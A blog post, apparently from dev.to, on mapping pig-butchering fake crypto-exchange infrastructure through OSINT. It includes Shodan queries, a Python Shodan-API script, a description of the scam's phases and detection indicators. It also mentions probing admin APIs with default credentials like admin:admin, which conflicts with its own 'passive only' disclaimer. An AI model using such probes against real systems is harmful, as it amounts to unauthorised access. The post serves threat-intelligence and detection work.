      <title>How I Mapped an International Pig Butchering Network Using Public Tools</title>
      <dc:creator>Marco Altomare</dc:creator>
      <pubDate>Mon, 04 May 2026 13:11:14 +0000</pubDate>
      <link>https://dev.to/marco_altomare_0e7674642c/how-i-mapped-an-international-pig-butchering-network-using-public-tools-5710</link>
      <guid>https://dev.to/marco_altomare_0e7674642c/how-i-mapped-an-international-pig-butchering-network-using-public-tools-5710</guid>
      <description>&lt;p&gt;A real-world case study in &lt;strong&gt;passive threat intelligence&lt;/strong&gt; and &lt;strong&gt;open-source investigation&lt;/strong&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Disclaimer: This research was conducted exclusively for &lt;strong&gt;educational purposes&lt;/strong&gt; and &lt;strong&gt;passive threat intelligence&lt;/strong&gt;. No systems were breached, no credentials were used without authorization, and no sensitive identifying data is reported in this article. All information collected comes from &lt;strong&gt;publicly accessible sources&lt;/strong&gt;: Shodan, public paste sites, blockchain explorers, and OSINT forums. Sensitive details such as IPs, domains, wallets, emails, and specific nationalities have been redacted. This activity falls within the legal scope of &lt;strong&gt;passive cybersecurity research&lt;/strong&gt;, with no active interaction with the identified systems. Some parts of the article are redacted for safety.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;While working on &lt;strong&gt;threat intelligence research&lt;/strong&gt;, I came across one of the most underestimated phenomena in the landscape of cryptocurrency fraud: the &lt;strong&gt;pig butchering scam&lt;/strong&gt;. The name comes from the Chinese 杀猪盘 (shā zhū pán), literally “pig slaughter plate,” and the concept is as brutal as it is effective. The victim is “raised” for &lt;strong&gt;weeks or months&lt;/strong&gt; through daily conversations on messaging apps, with relationships carefully engineered and patiently built, until the person is convinced to invest on &lt;strong&gt;fake crypto exchanges&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When the funds reach a &lt;strong&gt;critical threshold&lt;/strong&gt;, they disappear.&lt;/p&gt;

&lt;p&gt;What struck me while working on this was not only the level of &lt;strong&gt;social engineering&lt;/strong&gt; involved, which is sophisticated in itself. It was the &lt;strong&gt;technical infrastructure&lt;/strong&gt; underneath it: scalable systems, well organized, with a criminal supply chain that runs from &lt;strong&gt;scam-kit production&lt;/strong&gt; to resale to local “franchisees.” Structured criminal organizations sell the kit to other groups or to individual operators, who then target ordinary people interested in investing in crypto but not sufficiently familiar with how blockchains and exchanges work.&lt;/p&gt;

&lt;p&gt;It is a &lt;strong&gt;business model&lt;/strong&gt;, complete with &lt;strong&gt;R&amp;amp;D&lt;/strong&gt;, a &lt;strong&gt;B2B market&lt;/strong&gt;, and post-sale support for the “operators.” I decided to understand how it works from the &lt;strong&gt;technical side&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Starting Point: Shodan
&lt;/h2&gt;

&lt;p&gt;Shodan is a search engine for &lt;strong&gt;internet-connected devices&lt;/strong&gt;. It is not an offensive tool by itself; in fact, it is widely used in &lt;strong&gt;blue team&lt;/strong&gt; and &lt;strong&gt;threat intelligence&lt;/strong&gt; for passive fingerprinting of exposed infrastructure. I started by refining a query to find servers hosting &lt;strong&gt;fake crypto exchanges&lt;/strong&gt;, focusing on a set of recurring indicators: &lt;strong&gt;weak SSL certificates&lt;/strong&gt;, characteristic HTTP banners, exposed ports, and geographic attributes consistent with the known origin of these kits.&lt;/p&gt;

&lt;p&gt;Base query:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;"crypto" "exchange" port:443 ssl.cert.subject.cn:*exchange*&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;From there, I iterated by adding progressive filters. In HTTP banners I looked for keywords such as &lt;strong&gt;“deposit,” “withdraw,” and “VIP tier,”&lt;/strong&gt; which are almost invariably present in fake exchange interfaces to simulate the structure of a legitimate platform. I searched for servers with certificate CNs that cloned well-known exchanges through &lt;strong&gt;typosquatting&lt;/strong&gt;, for example by substituting visually similar characters. I checked for the absence of &lt;strong&gt;rate limiting&lt;/strong&gt; on critical endpoints such as &lt;code&gt;/api/login&lt;/code&gt; and &lt;code&gt;/api/transfer&lt;/code&gt;, a sign of poor implementation. I observed a recurring technology stack made up of &lt;strong&gt;Nginx&lt;/strong&gt; with default configurations, &lt;strong&gt;PHP 7.x&lt;/strong&gt;, and outdated crypto-related libraries.&lt;/p&gt;

&lt;p&gt;The results returned &lt;strong&gt;hundreds of hosts&lt;/strong&gt;, many with very low uptime, which is consistent with &lt;strong&gt;disposable infrastructure&lt;/strong&gt; designed to be replaced quickly after each campaign. What stood out, however, was the strong &lt;strong&gt;homogeneity&lt;/strong&gt; in architectural patterns across seemingly independent hosts. Same stack, same endpoint structures, same naming conventions. A clear signal: these were not separate actors who happened to have the same idea, but operators using the &lt;strong&gt;same kit&lt;/strong&gt;, distributed and resold.&lt;/p&gt;

&lt;h2&gt;
  
  
  OSINT Correlation and Certificate Analysis
&lt;/h2&gt;

&lt;p&gt;At that point, I selected a sample of IPs and conducted &lt;strong&gt;manual correlation&lt;/strong&gt;, cross-checking Shodan data with other &lt;strong&gt;publicly available sources&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;On the SSL certificate side, many hosts shared the same issuer, a little-known CA with certificates valid for &lt;strong&gt;30 to 90 days&lt;/strong&gt;. The absence of &lt;strong&gt;Let’s Encrypt&lt;/strong&gt; or enterprise CAs is a meaningful indicator: whoever runs this infrastructure minimizes costs and rotates certificates frequently to avoid revocation and make long-term tracking harder.&lt;/p&gt;

&lt;p&gt;On the ASN side, the IPs belonged to providers with &lt;strong&gt;neutral commercial names&lt;/strong&gt;, often registered in jurisdictions with &lt;strong&gt;low KYC verification&lt;/strong&gt; for hosting. A significant portion was already present in public blocklists such as &lt;strong&gt;AbuseIPDB&lt;/strong&gt; and &lt;strong&gt;Spamhaus&lt;/strong&gt;, which suggested reuse of infrastructure already known to reputation systems, probably because rotation times are still faster than blocklist cycles.&lt;/p&gt;

&lt;p&gt;The most interesting part emerged while analyzing &lt;strong&gt;API endpoints&lt;/strong&gt;. Several servers exposed &lt;code&gt;/api/admin&lt;/code&gt;, &lt;code&gt;/api/users&lt;/code&gt;, and &lt;code&gt;/api/wallet&lt;/code&gt; completely open, or protected with &lt;strong&gt;default credentials&lt;/strong&gt; such as &lt;code&gt;admin:admin&lt;/code&gt;. These endpoints revealed data structures that confirmed the nature of the platform: internal wallets, transaction IDs, and &lt;strong&gt;VIP tiers&lt;/strong&gt; artificially built to simulate the progression typical of a legitimate exchange and convince the victim that they were on a trustworthy platform.&lt;/p&gt;

&lt;p&gt;Through OSINT queries on public repositories and paste sites, using keyword patterns tied to the exchange names I had identified, I found &lt;strong&gt;victim emails&lt;/strong&gt; that had attempted to regain access after the funds vanished. Some of these emails were associated with &lt;strong&gt;traceable Ethereum wallets&lt;/strong&gt; on-chain, which made it possible to partially follow the flow of stolen funds.&lt;/p&gt;

&lt;p&gt;The most significant discovery from a &lt;strong&gt;supply-chain perspective&lt;/strong&gt; was finding, on public forums, the sale of &lt;strong&gt;complete packages&lt;/strong&gt;: registered domain, preconfigured exchange script, message templates for the social engineering phase, instructions on how to handle the victim during the “raising” period, and guidance on how to stall in response to withdrawal requests. The buyers of these kits were located in geographic regions different from Asia, confirming that the supply chain is &lt;strong&gt;genuinely transnational&lt;/strong&gt;: production happens in one place, distribution and operational use elsewhere.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exposed Elasticsearch: A Window into the Infrastructure
&lt;/h2&gt;

&lt;p&gt;During the investigation I found something &lt;strong&gt;unexpected&lt;/strong&gt;. Several servers belonging to the same criminal infrastructure exposed &lt;strong&gt;Elasticsearch instances without authentication&lt;/strong&gt;, reachable directly over HTTP on port &lt;strong&gt;9200&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I identified them by starting from the IPs already known from the Shodan phase and running a second targeted query:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;product:elastic port:9200&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Shodan was already indexing these nodes with &lt;strong&gt;complete metadata&lt;/strong&gt;: cluster name, shard count, active indices, and Elasticsearch version in use. No active access was needed; everything was already &lt;strong&gt;passively leaked&lt;/strong&gt; by the search engine, which by design indexes what is publicly exposed on the internet.&lt;/p&gt;

&lt;p&gt;The index structure visible through Shodan spoke for itself. The field names were explicit: &lt;code&gt;user_email&lt;/code&gt;, &lt;code&gt;deposit_amount&lt;/code&gt;, &lt;code&gt;vip_tier&lt;/code&gt;, &lt;code&gt;withdrawal_blocked&lt;/code&gt;, &lt;code&gt;wallet_address&lt;/code&gt;. The naming confirmed the identity of the &lt;strong&gt;kit&lt;/strong&gt; used by the fake exchanges already identified, and the consistency across hosts further strengthened the hypothesis of a &lt;strong&gt;single origin&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;To manage the volume of collected data more efficiently, I imported everything into a &lt;strong&gt;local Elasticsearch instance&lt;/strong&gt;, building a &lt;strong&gt;repeatable&lt;/strong&gt; and documentable analysis environment. I used &lt;strong&gt;ES|QL queries&lt;/strong&gt; to isolate hosts with high-risk banner patterns, aggregate indicators by ASN, and correlate certificates, wallets, and IOCs in a single structured index. This turned a raw collection of heterogeneous data into &lt;strong&gt;actionable threat intelligence&lt;/strong&gt;, searchable and updateable over time.&lt;/p&gt;

&lt;p&gt;To automate the collection and parsing of Shodan data, I built a &lt;strong&gt;Python script&lt;/strong&gt;, shared here in anonymized form without real credentials, purely to illustrate the method:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;

&lt;span class="n"&gt;API_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;YOUR_SHODAN_API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;QUERY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;crypto exchange port:443 ssl.cert.subject.cn:*exchange*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fetch_shodan_results&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;api_key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://api.shodan.io/shodan/host/search&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;key&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;api_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;query&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;parse_host&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip_str&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;country&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;location&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{}).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;country_name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;org&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;org&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;banner&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;port&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ssl_cn&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ssl&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{}).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cert&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{}).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;subject&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{}).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CN&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;N/A&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;fetch_shodan_results&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;QUERY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;API_KEY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;matches&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[]):&lt;/span&gt;
    &lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse_host&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;banner&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;kw&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;deposit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;withdraw&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;vip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exchange&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;indent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;strong&gt;banner filter&lt;/strong&gt; reduces noise significantly, focusing the analysis on hosts with &lt;strong&gt;strong indicators&lt;/strong&gt; rather than on the full perimeter returned by the raw query.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Pig Butchering Kill Chain
&lt;/h2&gt;

&lt;p&gt;Reconstructing the full chain, the operational structure of a &lt;strong&gt;pig butchering scam&lt;/strong&gt; breaks into &lt;strong&gt;six distinct phases&lt;/strong&gt;, each with clearly defined roles and technical tools.&lt;/p&gt;

&lt;p&gt;In the first phase, &lt;strong&gt;kit deployment&lt;/strong&gt;, the operator buys or develops an exchange clone. The stack is standardized, hosting is offshore, the domain is registered with privacy protection, and it typically has &lt;strong&gt;less than 90 days&lt;/strong&gt; of age. The technical investment is minimal and the infrastructure is designed to be abandoned quickly.&lt;/p&gt;

&lt;p&gt;In the second phase, the &lt;strong&gt;supporting infrastructure&lt;/strong&gt; is assembled: servers in ASN ranges with &lt;strong&gt;low KYC verification&lt;/strong&gt;, SSL certificates with short validity, and CDNs to mask the real traffic origin. The goal is to maximize &lt;strong&gt;short-term operational resilience&lt;/strong&gt;, not longevity.&lt;/p&gt;

&lt;p&gt;The third phase is &lt;strong&gt;social engineering&lt;/strong&gt;, and here the technical kit gives way to the human component. Contact with the victim typically happens via &lt;strong&gt;WhatsApp, Telegram, or dating apps&lt;/strong&gt;, with a profile carefully constructed in advance. The relationship is cultivated over weeks, with daily conversations, the sharing of believable personal details, and progressive mentions of crypto investments with &lt;strong&gt;extraordinary returns&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In the fourth phase, the victim is &lt;strong&gt;onboarded&lt;/strong&gt; onto the platform. The first withdrawals work normally: this is the most important part for &lt;strong&gt;building trust&lt;/strong&gt;. The victim experiences a real gain, becomes convinced of the platform’s legitimacy, and starts increasing the investment.&lt;/p&gt;

&lt;p&gt;The fifth phase is the &lt;strong&gt;harvest&lt;/strong&gt;. At some point withdrawals are blocked, with changing explanations: taxes that must be paid before unlocking, incomplete &lt;strong&gt;KYC procedures&lt;/strong&gt;, unmet minimum thresholds, or unexpected technical fees. Each explanation is a &lt;strong&gt;pretext&lt;/strong&gt; to extract more money from the victim before exit.&lt;/p&gt;

&lt;p&gt;The sixth phase is the &lt;strong&gt;exit&lt;/strong&gt;. Funds are moved through &lt;strong&gt;mixing services&lt;/strong&gt; or &lt;strong&gt;cross-chain bridges&lt;/strong&gt; into untraceable wallets, and the operator disappears. The fake exchange stops responding, the domain is abandoned, and the kit is reconfigured for the next campaign.&lt;/p&gt;

&lt;h2&gt;
  
  
  Generic Indicators of Compromise
&lt;/h2&gt;

&lt;p&gt;Without revealing &lt;strong&gt;sensitive research data&lt;/strong&gt;, the following is a set of &lt;strong&gt;generic indicators&lt;/strong&gt; that anyone working in &lt;strong&gt;threat intelligence&lt;/strong&gt; or &lt;strong&gt;blue team&lt;/strong&gt; can use as a baseline for detection and monitoring.&lt;/p&gt;

&lt;p&gt;On the domain and certificate side, it is worth monitoring domains registered &lt;strong&gt;less than 90 days ago&lt;/strong&gt; with SSL from unknown or uncommon CAs, clones of known exchanges with &lt;strong&gt;typosquatting&lt;/strong&gt; in the certificate CN, and domains whose URL structure imitates typical legitimate exchange paths.&lt;/p&gt;

&lt;p&gt;On the API side, exposed &lt;code&gt;/api/wallet&lt;/code&gt; or &lt;code&gt;/api/transfer&lt;/code&gt; endpoints without authentication, as well as &lt;code&gt;/api/admin&lt;/code&gt; endpoints accessible with &lt;strong&gt;default credentials&lt;/strong&gt;, are &lt;strong&gt;strong indicators&lt;/strong&gt; of criminal infrastructure.&lt;/p&gt;

&lt;p&gt;On the network reputation side, an ASN with a high rate of reports on &lt;strong&gt;AbuseIPDB&lt;/strong&gt; or present in &lt;strong&gt;Spamhaus&lt;/strong&gt; blocklists is a signal worth taking seriously, especially when combined with the other indicators.&lt;/p&gt;

&lt;p&gt;On the data infrastructure side, &lt;strong&gt;Elasticsearch instances&lt;/strong&gt; exposed on port &lt;strong&gt;9200&lt;/strong&gt; without authentication, with indices named &lt;code&gt;users&lt;/code&gt;, &lt;code&gt;deposits&lt;/code&gt;, &lt;code&gt;wallets&lt;/code&gt;, or similar structures, are &lt;strong&gt;almost diagnostic&lt;/strong&gt; for the kit in question.&lt;/p&gt;

&lt;p&gt;On-chain, wallets showing &lt;strong&gt;rapid consolidation patterns&lt;/strong&gt; toward exchanges known for &lt;strong&gt;weak KYC compliance&lt;/strong&gt; deserve attention in the context of a broader analysis.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tools and Methodology
&lt;/h2&gt;

&lt;p&gt;For anyone who wants to replicate this methodology in &lt;strong&gt;authorized environments&lt;/strong&gt;, the tools used and their purposes are listed below.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Shodan&lt;/strong&gt; was the starting point for &lt;strong&gt;passive fingerprinting&lt;/strong&gt; of exposed infrastructure, with iterative queries to progressively narrow the area of interest.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Local Elasticsearch&lt;/strong&gt; made it possible to normalize, correlate, and analyze the collected data in a structured way, building a repeatable threat hunting environment.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Python&lt;/strong&gt; with the &lt;code&gt;requests&lt;/code&gt; and &lt;code&gt;json&lt;/code&gt; libraries automated the collection and parsing of data from the Shodan API, reducing analysis time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AbuseIPDB&lt;/strong&gt; and &lt;strong&gt;Spamhaus&lt;/strong&gt; enabled correlation of IPs with consolidated public blocklists.&lt;/li&gt;
&lt;li&gt;Blockchain explorers such as &lt;strong&gt;Etherscan&lt;/strong&gt; supported partial tracing of suspicious on-chain transactions.&lt;/li&gt;
&lt;li&gt;Public paste sites were used for &lt;strong&gt;OSINT&lt;/strong&gt; on credential leaks and to identify email patterns associated with the identified exchanges.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Whois&lt;/strong&gt; and &lt;strong&gt;ASN lookups&lt;/strong&gt; completed the picture on registrant and hosting provider identity.&lt;/li&gt;
&lt;li&gt;Public OSINT forums provided context on the criminal supply chain and the market for kits.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The skills applied in this research cover &lt;strong&gt;passive threat intelligence&lt;/strong&gt;, &lt;strong&gt;OSINT&lt;/strong&gt;, &lt;strong&gt;SSL certificate analysis&lt;/strong&gt;, &lt;strong&gt;reverse DNS&lt;/strong&gt;, correlation of data from heterogeneous sources, &lt;strong&gt;Python scripting&lt;/strong&gt; for automation, &lt;strong&gt;basic on-chain analysis&lt;/strong&gt;, and &lt;strong&gt;ES|QL queries&lt;/strong&gt; for structured threat hunting.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Reflections
&lt;/h2&gt;

&lt;p&gt;This research confirmed something that is already understood at a theoretical level but is useful to see concretely: cybercriminals operating in this space &lt;strong&gt;behave like companies&lt;/strong&gt;. They have &lt;strong&gt;operational divisions&lt;/strong&gt;, standardized processes, a supplier market, and a capillary distribution system. The technical infrastructure they build is often mediocre from a security standpoint, with &lt;strong&gt;default configurations&lt;/strong&gt; left unchanged, trivial credentials, and unauthenticated exposed instances. But that is not their real strength, and it would be a mistake to focus only on that.&lt;/p&gt;

&lt;p&gt;Their real strength is &lt;strong&gt;social engineering&lt;/strong&gt;, which has &lt;strong&gt;no patch&lt;/strong&gt; and does not respond to firewalls. The victims of these scams are not naïve or uneducated people: they are people who were given &lt;strong&gt;attention, time, and systematic care&lt;/strong&gt; to build trust. The technical component exists to give &lt;strong&gt;operational credibility&lt;/strong&gt; to something that is, at its core, a &lt;strong&gt;relational scam&lt;/strong&gt;.&lt;/p&gt;

